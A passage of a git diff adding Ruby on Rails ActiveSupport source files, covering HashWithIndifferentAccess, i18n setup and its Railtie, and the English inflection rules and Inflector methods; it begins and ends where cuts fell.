+  # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
+  # to be the same.
+  #
+  #   rgb = ActiveSupport::HashWithIndifferentAccess.new
+  #
+  #   rgb[:black] = '#000000'
+  #   rgb[:black]  # => '#000000'
+  #   rgb['black'] # => '#000000'
+  #
+  #   rgb['white'] = '#FFFFFF'
+  #   rgb[:white]  # => '#FFFFFF'
+  #   rgb['white'] # => '#FFFFFF'
+  #
+  # Internally symbols are mapped to strings when used as keys in the entire
+  # writing interface (calling <tt>[]=</tt>, <tt>merge</tt>, etc). This
+  # mapping belongs to the public interface. For example, given:
+  #
+  #   hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+  #
+  # You are guaranteed that the key is returned as a string:
+  #
+  #   hash.keys # => ["a"]
+  #
+  # Technically other types of keys are accepted:
+  #
+  #   hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+  #   hash[0] = 0
+  #   hash # => {"a"=>1, 0=>0}
+  #
+  # but this class is intended for use cases where strings or symbols are the
+  # expected keys and it is convenient to understand both as the same. For
+  # example the +params+ hash in Ruby on Rails.
+  #
+  # Note that core extensions define <tt>Hash#with_indifferent_access</tt>:
+  #
+  #   rgb = { black: '#000000', white: '#FFFFFF' }.with_indifferent_access
+  #
+  # which may be handy.
+  #
+  # To access this class outside of Rails, require the core extension with:
+  #
+  #   require "active_support/core_ext/hash/indifferent_access"
+  #
+  # which will, in turn, require this file.
+  class HashWithIndifferentAccess < Hash
+    # Returns +true+ so that <tt>Array#extract_options!</tt> finds members of
+    # this class.
+    def extractable_options?
+      true
+    end
+
+    def with_indifferent_access
+      dup
+    end
+
+    def nested_under_indifferent_access
+      self
+    end
+
+    def initialize(constructor = {})
+      if constructor.respond_to?(:to_hash)
+        super()
+        update(constructor)
+
+        hash = constructor.to_hash
+        self.default = hash.default if hash.default
+        self.default_proc = hash.default_proc if hash.default_proc
+      else
+        super(constructor)
+      end
+    end
+
+    def self.[](*args)
+      new.merge!(Hash[*args])
+    end
+
+    alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
+    alias_method :regular_update, :update unless method_defined?(:regular_update)
+
+    # Assigns a new value to the hash:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash[:key] = 'value'
+    #
+    # This value can be later fetched using either +:key+ or <tt>'key'</tt>.
+    def []=(key, value)
+      regular_writer(convert_key(key), convert_value(value, for: :assignment))
+    end
+
+    alias_method :store, :[]=
+
+    # Updates the receiver in-place, merging in the hash passed as argument:
+    #
+    #   hash_1 = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash_1[:key] = 'value'
+    #
+    #   hash_2 = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash_2[:key] = 'New Value!'
+    #
+    #   hash_1.update(hash_2) # => {"key"=>"New Value!"}
+    #
+    # The argument can be either an
+    # <tt>ActiveSupport::HashWithIndifferentAccess</tt> or a regular +Hash+.
+    # In either case the merge respects the semantics of indifferent access.
+    #
+    # If the argument is a regular hash with keys +:key+ and +"key"+ only one
+    # of the values end up in the receiver, but which one is unspecified.
+    #
+    # When given a block, the value for duplicated keys will be determined
+    # by the result of invoking the block with the duplicated key, the value
+    # in the receiver, and the value in +other_hash+. The rules for duplicated
+    # keys follow the semantics of indifferent access:
+    #
+    #   hash_1[:key] = 10
+    #   hash_2['key'] = 12
+    #   hash_1.update(hash_2) { |key, old, new| old + new } # => {"key"=>22}
+    def update(other_hash)
+      if other_hash.is_a? HashWithIndifferentAccess
+        super(other_hash)
+      else
+        other_hash.to_hash.each_pair do |key, value|
+          if block_given? && key?(key)
+            value = yield(convert_key(key), self[key], value)
+          end
+          regular_writer(convert_key(key), convert_value(value))
+        end
+        self
+      end
+    end
+
+    alias_method :merge!, :update
+
+    # Checks the hash for a key matching the argument passed in:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash['key'] = 'value'
+    #   hash.key?(:key)  # => true
+    #   hash.key?('key') # => true
+    def key?(key)
+      super(convert_key(key))
+    end
+
+    alias_method :include?, :key?
+    alias_method :has_key?, :key?
+    alias_method :member?, :key?
+
+    # Same as <tt>Hash#[]</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   counters = ActiveSupport::HashWithIndifferentAccess.new
+    #   counters[:foo] = 1
+    #
+    #   counters['foo'] # => 1
+    #   counters[:foo]  # => 1
+    #   counters[:zoo]  # => nil
+    def [](key)
+      super(convert_key(key))
+    end
+
+    # Same as <tt>Hash#fetch</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   counters = ActiveSupport::HashWithIndifferentAccess.new
+    #   counters[:foo] = 1
+    #
+    #   counters.fetch('foo')          # => 1
+    #   counters.fetch(:bar, 0)        # => 0
+    #   counters.fetch(:bar) { |key| 0 } # => 0
+    #   counters.fetch(:zoo)           # => KeyError: key not found: "zoo"
+    def fetch(key, *extras)
+      super(convert_key(key), *extras)
+    end
+
+    if Hash.new.respond_to?(:dig)
+      # Same as <tt>Hash#dig</tt> where the key passed as argument can be
+      # either a string or a symbol:
+      #
+      #   counters = ActiveSupport::HashWithIndifferentAccess.new
+      #   counters[:foo] = { bar: 1 }
+      #
+      #   counters.dig('foo', 'bar')     # => 1
+      #   counters.dig(:foo, :bar)       # => 1
+      #   counters.dig(:zoo)             # => nil
+      def dig(*args)
+        args[0] = convert_key(args[0]) if args.size > 0
+        super(*args)
+      end
+    end
+
+    # Same as <tt>Hash#default</tt> where the key passed as argument can be
+    # either a string or a symbol:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new(1)
+    #   hash.default                   # => 1
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new { |hash, key| key }
+    #   hash.default                   # => nil
+    #   hash.default('foo')            # => 'foo'
+    #   hash.default(:foo)             # => 'foo'
+    def default(*args)
+      super(*args.map { |arg| convert_key(arg) })
+    end
+
+    # Returns an array of the values at the specified indices:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash[:a] = 'x'
+    #   hash[:b] = 'y'
+    #   hash.values_at('a', 'b') # => ["x", "y"]
+    def values_at(*indices)
+      indices.collect { |key| self[convert_key(key)] }
+    end
+
+    # Returns an array of the values at the specified indices, but also
+    # raises an exception when one of the keys can't be found.
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash[:a] = 'x'
+    #   hash[:b] = 'y'
+    #   hash.fetch_values('a', 'b') # => ["x", "y"]
+    #   hash.fetch_values('a', 'c') { |key| 'z' } # => ["x", "z"]
+    #   hash.fetch_values('a', 'c') # => KeyError: key not found: "c"
+    def fetch_values(*indices, &block)
+      indices.collect { |key| fetch(key, &block) }
+    end if Hash.method_defined?(:fetch_values)
+
+    # Returns a shallow copy of the hash.
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new({ a: { b: 'b' } })
+    #   dup  = hash.dup
+    #   dup[:a][:c] = 'c'
+    #
+    #   hash[:a][:c] # => nil
+    #   dup[:a][:c]  # => "c"
+    def dup
+      self.class.new(self).tap do |new_hash|
+        set_defaults(new_hash)
+      end
+    end
+
+    # This method has the same semantics of +update+, except it does not
+    # modify the receiver but rather returns a new hash with indifferent
+    # access with the result of the merge.
+    def merge(hash, &block)
+      dup.update(hash, &block)
+    end
+
+    # Like +merge+ but the other way around: Merges the receiver into the
+    # argument and returns a new hash with indifferent access as result:
+    #
+    #   hash = ActiveSupport::HashWithIndifferentAccess.new
+    #   hash['a'] = nil
+    #   hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1}
+    def reverse_merge(other_hash)
+      super(self.class.new(other_hash))
+    end
+    alias_method :with_defaults, :reverse_merge
+
+    # Same semantics as +reverse_merge+ but modifies the receiver in-place.
+    def reverse_merge!(other_hash)
+      super(self.class.new(other_hash))
+    end
+    alias_method :with_defaults!, :reverse_merge!
+
+    # Replaces the contents of this hash with other_hash.
+    #
+    #   h = { "a" => 100, "b" => 200 }
+    #   h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
+    def replace(other_hash)
+      super(self.class.new(other_hash))
+    end
+
+    # Removes the specified key from the hash.
+    def delete(key)
+      super(convert_key(key))
+    end
+
+    def stringify_keys!; self end
+    def deep_stringify_keys!; self end
+    def stringify_keys; dup end
+    def deep_stringify_keys; dup end
+    undef :symbolize_keys!
+    undef :deep_symbolize_keys!
+    def symbolize_keys; to_hash.symbolize_keys! end
+    def deep_symbolize_keys; to_hash.deep_symbolize_keys! end
+    def to_options!; self end
+
+    def select(*args, &block)
+      return to_enum(:select) unless block_given?
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      return to_enum(:reject) unless block_given?
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+
+    def transform_values(*args, &block)
+      return to_enum(:transform_values) unless block_given?
+      dup.tap { |hash| hash.transform_values!(*args, &block) }
+    end
+
+    def compact
+      dup.tap(&:compact!)
+    end
+
+    # Convert to a regular hash with string keys.
+    def to_hash
+      _new_hash = Hash.new
+      set_defaults(_new_hash)
+
+      each do |key, value|
+        _new_hash[key] = convert_value(value, for: :to_hash)
+      end
+      _new_hash
+    end
+
+    private
+      def convert_key(key) # :doc:
+        key.kind_of?(Symbol) ? key.to_s : key
+      end
+
+      def convert_value(value, options = {}) # :doc:
+        if value.is_a? Hash
+          if options[:for] == :to_hash
+            value.to_hash
+          else
+            value.nested_under_indifferent_access
+          end
+        elsif value.is_a?(Array)
+          if options[:for] != :assignment || value.frozen?
+            value = value.dup
+          end
+          value.map! { |e| convert_value(e, options) }
+        else
+          value
+        end
+      end
+
+      def set_defaults(target) # :doc:
+        if default_proc
+          target.default_proc = default_proc.dup
+        else
+          target.default = default
+        end
+      end
+  end
+end
+
+# :stopdoc:
+
+HashWithIndifferentAccess = ActiveSupport::HashWithIndifferentAccess
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
new file mode 100644
index 0000000000..80f1475630
--- /dev/null
+++ b/activesupport/lib/active_support/i18n.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/hash/deep_merge"
+require_relative "core_ext/hash/except"
+require_relative "core_ext/hash/slice"
+begin
+  require "i18n"
+rescue LoadError => e
+  $stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
+  raise e
+end
+require_relative "lazy_load_hooks"
+
+ActiveSupport.run_load_hooks(:i18n)
+I18n.load_path << File.expand_path("locale/en.yml", __dir__)
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
new file mode 100644
index 0000000000..369aecff69
--- /dev/null
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "active_support"
+require_relative "file_update_checker"
+require_relative "core_ext/array/wrap"
+
+# :enddoc:
+
+module I18n
+  class Railtie < Rails::Railtie
+    config.i18n = ActiveSupport::OrderedOptions.new
+    config.i18n.railties_load_path = []
+    config.i18n.load_path = []
+    config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
+
+    # Set the i18n configuration after initialization since a lot of
+    # configuration is still usually done in application initializers.
+    config.after_initialize do |app|
+      I18n::Railtie.initialize_i18n(app)
+    end
+
+    # Trigger i18n config before any eager loading has happened
+    # so it's ready if any classes require it when eager loaded.
+    config.before_eager_load do |app|
+      I18n::Railtie.initialize_i18n(app)
+    end
+
+    @i18n_inited = false
+
+    # Setup i18n configuration.
+    def self.initialize_i18n(app)
+      return if @i18n_inited
+
+      fallbacks = app.config.i18n.delete(:fallbacks)
+
+      # Avoid issues with setting the default_locale by disabling available locales
+      # check while configuring.
+      enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+      enforce_available_locales = I18n.enforce_available_locales if enforce_available_locales.nil?
+      I18n.enforce_available_locales = false
+
+      reloadable_paths = []
+      app.config.i18n.each do |setting, value|
+        case setting
+        when :railties_load_path
+          reloadable_paths = value
+          app.config.i18n.load_path.unshift(*value.flat_map(&:existent))
+        when :load_path
+          I18n.load_path += value
+        else
+          I18n.send("#{setting}=", value)
+        end
+      end
+
+      init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
+
+      # Restore available locales check so it will take place from now on.
+      I18n.enforce_available_locales = enforce_available_locales
+
+      directories = watched_dirs_with_extensions(reloadable_paths)
+      reloader = app.config.file_watcher.new(I18n.load_path.dup, directories) do
+        I18n.load_path.keep_if { |p| File.exist?(p) }
+        I18n.load_path |= reloadable_paths.flat_map(&:existent)
+
+        I18n.reload!
+      end
+
+      app.reloaders << reloader
+      app.reloader.to_run do
+        reloader.execute_if_updated { require_unload_lock! }
+      end
+      reloader.execute
+
+      @i18n_inited = true
+    end
+
+    def self.include_fallbacks_module
+      I18n.backend.class.include(I18n::Backend::Fallbacks)
+    end
+
+    def self.init_fallbacks(fallbacks)
+      include_fallbacks_module
+
+      args = \
+        case fallbacks
+        when ActiveSupport::OrderedOptions
+          [*(fallbacks[:defaults] || []) << fallbacks[:map]].compact
+        when Hash, Array
+          Array.wrap(fallbacks)
+        else # TrueClass
+          []
+        end
+
+      I18n.fallbacks = I18n::Locale::Fallbacks.new(*args)
+    end
+
+    def self.validate_fallbacks(fallbacks)
+      case fallbacks
+      when ActiveSupport::OrderedOptions
+        !fallbacks.empty?
+      when TrueClass, Array, Hash
+        true
+      else
+        raise "Unexpected fallback type #{fallbacks.inspect}"
+      end
+    end
+
+    def self.watched_dirs_with_extensions(paths)
+      paths.each_with_object({}) do |path, result|
+        result[path.absolute_current] = path.extensions
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
new file mode 100644
index 0000000000..e8e1657111
--- /dev/null
+++ b/activesupport/lib/active_support/inflections.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require_relative "inflector/inflections"
+
+#--
+# Defines the standard inflection rules. These are the starting point for
+# new projects and are not considered complete. The current set of inflection
+# rules is frozen. This means, we do not change them to become more complete.
+# This is a safety measure to keep existing applications from breaking.
+#++
+module ActiveSupport
+  Inflector.inflections(:en) do |inflect|
+    inflect.plural(/$/, "s")
+    inflect.plural(/s$/i, "s")
+    inflect.plural(/^(ax|test)is$/i, '\1es')
+    inflect.plural(/(octop|vir)us$/i, '\1i')
+    inflect.plural(/(octop|vir)i$/i, '\1i')
+    inflect.plural(/(alias|status)$/i, '\1es')
+    inflect.plural(/(bu)s$/i, '\1ses')
+    inflect.plural(/(buffal|tomat)o$/i, '\1oes')
+    inflect.plural(/([ti])um$/i, '\1a')
+    inflect.plural(/([ti])a$/i, '\1a')
+    inflect.plural(/sis$/i, "ses")
+    inflect.plural(/(?:([^f])fe|([lr])f)$/i, '\1\2ves')
+    inflect.plural(/(hive)$/i, '\1s')
+    inflect.plural(/([^aeiouy]|qu)y$/i, '\1ies')
+    inflect.plural(/(x|ch|ss|sh)$/i, '\1es')
+    inflect.plural(/(matr|vert|ind)(?:ix|ex)$/i, '\1ices')
+    inflect.plural(/^(m|l)ouse$/i, '\1ice')
+    inflect.plural(/^(m|l)ice$/i, '\1ice')
+    inflect.plural(/^(ox)$/i, '\1en')
+    inflect.plural(/^(oxen)$/i, '\1')
+    inflect.plural(/(quiz)$/i, '\1zes')
+
+    inflect.singular(/s$/i, "")
+    inflect.singular(/(ss)$/i, '\1')
+    inflect.singular(/(n)ews$/i, '\1ews')
+    inflect.singular(/([ti])a$/i, '\1um')
+    inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)(sis|ses)$/i, '\1sis')
+    inflect.singular(/(^analy)(sis|ses)$/i, '\1sis')
+    inflect.singular(/([^f])ves$/i, '\1fe')
+    inflect.singular(/(hive)s$/i, '\1')
+    inflect.singular(/(tive)s$/i, '\1')
+    inflect.singular(/([lr])ves$/i, '\1f')
+    inflect.singular(/([^aeiouy]|qu)ies$/i, '\1y')
+    inflect.singular(/(s)eries$/i, '\1eries')
+    inflect.singular(/(m)ovies$/i, '\1ovie')
+    inflect.singular(/(x|ch|ss|sh)es$/i, '\1')
+    inflect.singular(/^(m|l)ice$/i, '\1ouse')
+    inflect.singular(/(bus)(es)?$/i, '\1')
+    inflect.singular(/(o)es$/i, '\1')
+    inflect.singular(/(shoe)s$/i, '\1')
+    inflect.singular(/(cris|test)(is|es)$/i, '\1is')
+    inflect.singular(/^(a)x[ie]s$/i, '\1xis')
+    inflect.singular(/(octop|vir)(us|i)$/i, '\1us')
+    inflect.singular(/(alias|status)(es)?$/i, '\1')
+    inflect.singular(/^(ox)en/i, '\1')
+    inflect.singular(/(vert|ind)ices$/i, '\1ex')
+    inflect.singular(/(matr)ices$/i, '\1ix')
+    inflect.singular(/(quiz)zes$/i, '\1')
+    inflect.singular(/(database)s$/i, '\1')
+
+    inflect.irregular("person", "people")
+    inflect.irregular("man", "men")
+    inflect.irregular("child", "children")
+    inflect.irregular("sex", "sexes")
+    inflect.irregular("move", "moves")
+    inflect.irregular("zombie", "zombies")
+
+    inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
+  end
+end
diff --git a/activesupport/lib/active_support/inflector.rb b/activesupport/lib/active_support/inflector.rb
new file mode 100644
index 0000000000..a6adb15a18
--- /dev/null
+++ b/activesupport/lib/active_support/inflector.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# in case active_support/inflector is required without the rest of active_support
+require_relative "inflector/inflections"
+require_relative "inflector/transliterate"
+require_relative "inflector/methods"
+
+require_relative "inflections"
+require_relative "core_ext/string/inflections"
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
new file mode 100644
index 0000000000..36dfbc5f42
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -0,0 +1,246 @@
+# frozen_string_literal: true
+
+require "concurrent/map"
+require_relative "../core_ext/array/prepend_and_append"
+require_relative "../core_ext/regexp"
+require_relative "../i18n"
+
+module ActiveSupport
+  module Inflector
+    extend self
+
+    # A singleton instance of this class is yielded by Inflector.inflections,
+    # which can then be used to specify additional inflection rules. If passed
+    # an optional locale, rules for other languages can be specified. The
+    # default locale is <tt>:en</tt>. Only rules for English are provided.
+    #
+    #   ActiveSupport::Inflector.inflections(:en) do |inflect|
+    #     inflect.plural /^(ox)$/i, '\1\2en'
+    #     inflect.singular /^(ox)en/i, '\1'
+    #
+    #     inflect.irregular 'octopus', 'octopi'
+    #
+    #     inflect.uncountable 'equipment'
+    #   end
+    #
+    # New rules are added at the top. So in the example above, the irregular
+    # rule for octopus will now be the first of the pluralization and
+    # singularization rules that is runs. This guarantees that your rules run
+    # before any of the rules that may already have been loaded.
+    class Inflections
+      @__instance__ = Concurrent::Map.new
+
+      class Uncountables < Array
+        def initialize
+          @regex_array = []
+          super
+        end
+
+        def delete(entry)
+          super entry
+          @regex_array.delete(to_regex(entry))
+        end
+
+        def <<(*word)
+          add(word)
+        end
+
+        def add(words)
+          words = words.flatten.map(&:downcase)
+          concat(words)
+          @regex_array += words.map { |word| to_regex(word) }
+          self
+        end
+
+        def uncountable?(str)
+          @regex_array.any? { |regex| regex.match? str }
+        end
+
+        private
+          def to_regex(string)
+            /\b#{::Regexp.escape(string)}\Z/i
+          end
+      end
+
+      def self.instance(locale = :en)
+        @__instance__[locale] ||= new
+      end
+
+      attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex
+
+      def initialize
+        @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], Uncountables.new, [], {}, /(?=a)b/
+      end
+
+      # Private, for the test suite.
+      def initialize_dup(orig) # :nodoc:
+        %w(plurals singulars uncountables humans acronyms acronym_regex).each do |scope|
+          instance_variable_set("@#{scope}", orig.send(scope).dup)
+        end
+      end
+
+      # Specifies a new acronym. An acronym must be specified as it will appear
+      # in a camelized string. An underscore string that contains the acronym
+      # will retain the acronym when passed to +camelize+, +humanize+, or
+      # +titleize+. A camelized string that contains the acronym will maintain
+      # the acronym when titleized or humanized, and will convert the acronym
+      # into a non-delimited single lowercase word when passed to +underscore+.
+      #
+      #   acronym 'HTML'
+      #   titleize 'html'     # => 'HTML'
+      #   camelize 'html'     # => 'HTML'
+      #   underscore 'MyHTML' # => 'my_html'
+      #
+      # The acronym, however, must occur as a delimited unit and not be part of
+      # another word for conversions to recognize it:
+      #
+      #   acronym 'HTTP'
+      #   camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+      #   camelize 'https'             # => 'Https', not 'HTTPs'
+      #   underscore 'HTTPS'           # => 'http_s', not 'https'
+      #
+      #   acronym 'HTTPS'
+      #   camelize 'https'   # => 'HTTPS'
+      #   underscore 'HTTPS' # => 'https'
+      #
+      # Note: Acronyms that are passed to +pluralize+ will no longer be
+      # recognized, since the acronym will not occur as a delimited unit in the
+      # pluralized result. To work around this, you must specify the pluralized
+      # form as an acronym as well:
+      #
+      #    acronym 'API'
+      #    camelize(pluralize('api')) # => 'Apis'
+      #
+      #    acronym 'APIs'
+      #    camelize(pluralize('api')) # => 'APIs'
+      #
+      # +acronym+ may be used to specify any word that contains an acronym or
+      # otherwise needs to maintain a non-standard capitalization. The only
+      # restriction is that the word must begin with a capital letter.
+      #
+      #   acronym 'RESTful'
+      #   underscore 'RESTful'           # => 'restful'
+      #   underscore 'RESTfulController' # => 'restful_controller'
+      #   titleize 'RESTfulController'   # => 'RESTful Controller'
+      #   camelize 'restful'             # => 'RESTful'
+      #   camelize 'restful_controller'  # => 'RESTfulController'
+      #
+      #   acronym 'McDonald'
+      #   underscore 'McDonald' # => 'mcdonald'
+      #   camelize 'mcdonald'   # => 'McDonald'
+      def acronym(word)
+        @acronyms[word.downcase] = word
+        @acronym_regex = /#{@acronyms.values.join("|")}/
+      end
+
+      # Specifies a new pluralization rule and its replacement. The rule can
+      # either be a string or a regular expression. The replacement should
+      # always be a string that may include references to the matched data from
+      # the rule.
+      def plural(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @plurals.prepend([rule, replacement])
+      end
+
+      # Specifies a new singularization rule and its replacement. The rule can
+      # either be a string or a regular expression. The replacement should
+      # always be a string that may include references to the matched data from
+      # the rule.
+      def singular(rule, replacement)
+        @uncountables.delete(rule) if rule.is_a?(String)
+        @uncountables.delete(replacement)
+        @singulars.prepend([rule, replacement])
+      end
+
+      # Specifies a new irregular that applies to both pluralization and
+      # singularization at the same time. This can only be used for strings, not
+      # regular expressions. You simply pass the irregular in singular and
+      # plural form.
+      #
+      #   irregular 'octopus', 'octopi'
+      #   irregular 'person', 'people'
+      def irregular(singular, plural)
+        @uncountables.delete(singular)
+        @uncountables.delete(plural)
+
+        s0 = singular[0]
+        srest = singular[1..-1]
+
+        p0 = plural[0]
+        prest = plural[1..-1]
+
+        if s0.upcase == p0.upcase
+          plural(/(#{s0})#{srest}$/i, '\1' + prest)
+          plural(/(#{p0})#{prest}$/i, '\1' + prest)
+
+          singular(/(#{s0})#{srest}$/i, '\1' + srest)
+          singular(/(#{p0})#{prest}$/i, '\1' + srest)
+        else
+          plural(/#{s0.upcase}(?i)#{srest}$/,   p0.upcase   + prest)
+          plural(/#{s0.downcase}(?i)#{srest}$/, p0.downcase + prest)
+          plural(/#{p0.upcase}(?i)#{prest}$/,   p0.upcase   + prest)
+          plural(/#{p0.downcase}(?i)#{prest}$/, p0.downcase + prest)
+
+          singular(/#{s0.upcase}(?i)#{srest}$/,   s0.upcase   + srest)
+          singular(/#{s0.downcase}(?i)#{srest}$/, s0.downcase + srest)
+          singular(/#{p0.upcase}(?i)#{prest}$/,   s0.upcase   + srest)
+          singular(/#{p0.downcase}(?i)#{prest}$/, s0.downcase + srest)
+        end
+      end
+
+      # Specifies words that are uncountable and should not be inflected.
+      #
+      #   uncountable 'money'
+      #   uncountable 'money', 'information'
+      #   uncountable %w( money information rice )
+      def uncountable(*words)
+        @uncountables.add(words)
+      end
+
+      # Specifies a humanized form of a string by a regular expression rule or
+      # by a string mapping. When using a regular expression based replacement,
+      # the normal humanize formatting is called after the replacement. When a
+      # string is used, the human form should be specified as desired (example:
+      # 'The name', not 'the_name').
+      #
+      #   human /_cnt$/i, '\1_count'
+      #   human 'legacy_col_person_name', 'Name'
+      def human(rule, replacement)
+        @humans.prepend([rule, replacement])
+      end
+
+      # Clears the loaded inflections within a given scope (default is
+      # <tt>:all</tt>). Give the scope as a symbol of the inflection type, the
+      # options are: <tt>:plurals</tt>, <tt>:singulars</tt>, <tt>:uncountables</tt>,
+      # <tt>:humans</tt>.
+      #
+      #   clear :all
+      #   clear :plurals
+      def clear(scope = :all)
+        case scope
+        when :all
+          @plurals, @singulars, @uncountables, @humans = [], [], Uncountables.new, []
+          else
+          instance_variable_set "@#{scope}", []
+        end
+      end
+    end
+
+    # Yields a singleton instance of Inflector::Inflections so you can specify
+    # additional inflector rules. If passed an optional locale, rules for other
+    # languages can be specified. If not specified, defaults to <tt>:en</tt>.
+    # Only rules for English are provided.
+    #
+    #   ActiveSupport::Inflector.inflections(:en) do |inflect|
+    #     inflect.uncountable 'rails'
+    #   end
+    def inflections(locale = :en)
+      if block_given?
+        yield Inflections.instance(locale)
+      else
+        Inflections.instance(locale)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
new file mode 100644
index 0000000000..9398ed60a4
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -0,0 +1,408 @@
+# frozen_string_literal: true
+
+require_relative "../inflections"
+require_relative "../core_ext/regexp"
+
+module ActiveSupport
+  # The Inflector transforms words from singular to plural, class names to table
+  # names, modularized class names to ones without, and class names to foreign
+  # keys. The default inflections for pluralization, singularization, and
+  # uncountable words are kept in inflections.rb.
+  #
+  # The Rails core team has stated patches for the inflections library will not
+  # be accepted in order to avoid breaking legacy applications which may be
+  # relying on errant inflections. If you discover an incorrect inflection and
+  # require it for your application or wish to define rules for languages other
+  # than English, please correct or add them yourself (explained below).
+  module Inflector
+    extend self
+
+    # Returns the plural form of the word in the string.
+    #
+    # If passed an optional +locale+ parameter, the word will be
+    # pluralized using rules defined for that language. By default,
+    # this parameter is set to <tt>:en</tt>.
+    #
+    #   pluralize('post')             # => "posts"
+    #   pluralize('octopus')          # => "octopi"
+    #   pluralize('sheep')            # => "sheep"
+    #   pluralize('words')            # => "words"
+    #   pluralize('CamelOctopus')     # => "CamelOctopi"
+    #   pluralize('ley', :es)         # => "leyes"
+    def pluralize(word, locale = :en)
+      apply_inflections(word, inflections(locale).plurals, locale)
+    end
+
+    # The reverse of #pluralize, returns the singular form of a word in a
+    # string.
+    #
+    # If passed an optional +locale+ parameter, the word will be
+    # singularized using rules defined for that language. By default,
+    # this parameter is set to <tt>:en</tt>.
+    #
+    #   singularize('posts')            # => "post"
+    #   singularize('octopi')           # => "octopus"
+    #   singularize('sheep')            # => "sheep"
+    #   singularize('word')             # => "word"
+    #   singularize('CamelOctopi')      # => "CamelOctopus"
+    #   singularize('leyes', :es)       # => "ley"
+    def singularize(word, locale = :en)
+      apply_inflections(word, inflections(locale).singulars, locale)
+    end
+
+    # Converts strings to UpperCamelCase.
+    # If the +uppercase_first_letter+ parameter is set to false, then produces
+    # lowerCamelCase.
+    #
+    # Also converts '/' to '::' which is useful for converting
+    # paths to namespaces.
+    #
+    #   camelize('active_model')                # => "ActiveModel"
+    #   camelize('active_model', false)         # => "activeModel"
+    #   camelize('active_model/errors')         # => "ActiveModel::Errors"
+    #   camelize('active_model/errors', false)  # => "activeModel::Errors"
+    #
+    # As a rule of thumb you can think of +camelize+ as the inverse of
+    # #underscore, though there are cases where that does not hold:
+    #
+    #   camelize(underscore('SSLError'))        # => "SslError"
+    def camelize(term, uppercase_first_letter = true)
+      string = term.to_s
+      if uppercase_first_letter
+        string = string.sub(/^[a-z\d]*/) { |match| inflections.acronyms[match] || match.capitalize }
+      else
+        string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { |match| match.downcase }
+      end
+      string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
+      string.gsub!("/".freeze, "::".freeze)
+      string
+    end
+
+    # Makes an underscored, lowercase form from the expression in the string.
+    #
+    # Changes '::' to '/' to convert namespaces to paths.
+    #
+    #   underscore('ActiveModel')         # => "active_model"
+    #   underscore('ActiveModel::Errors') # => "active_model/errors"
+    #
+    # As a rule of thumb you can think of +underscore+ as the inverse of
+    # #camelize, though there are cases where that does not hold:
+    #
+    #   camelize(underscore('SSLError'))  # => "SslError"
+    def underscore(camel_cased_word)
+      return camel_cased_word unless /[A-Z-]|::/.match?(camel_cased_word)
+      word = camel_cased_word.to_s.gsub("::".freeze, "/".freeze)
+      word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'.freeze }#{$2.downcase}" }
+      word.gsub!(/([A-Z\d]+)([A-Z][a-z])/, '\1_\2'.freeze)
+      word.gsub!(/([a-z\d])([A-Z])/, '\1_\2'.freeze)
+      word.tr!("-".freeze, "_".freeze)
+      word.downcase!
+      word
+    end
+
+    # Tweaks an attribute name for display to end users.
+    #
+    # Specifically, performs these transformations:
+    #
+    # * Applies human inflection rules to the argument.
+    # * Deletes leading underscores, if any.
+    # * Removes a "_id" suffix if present.
+    # * Replaces underscores with spaces, if any.
+    # * Downcases all words except acronyms.
+    # * Capitalizes the first word.
+    # The capitalization of the first word can be turned off by setting the
+    # +:capitalize+ option to false (default is true).
+    #
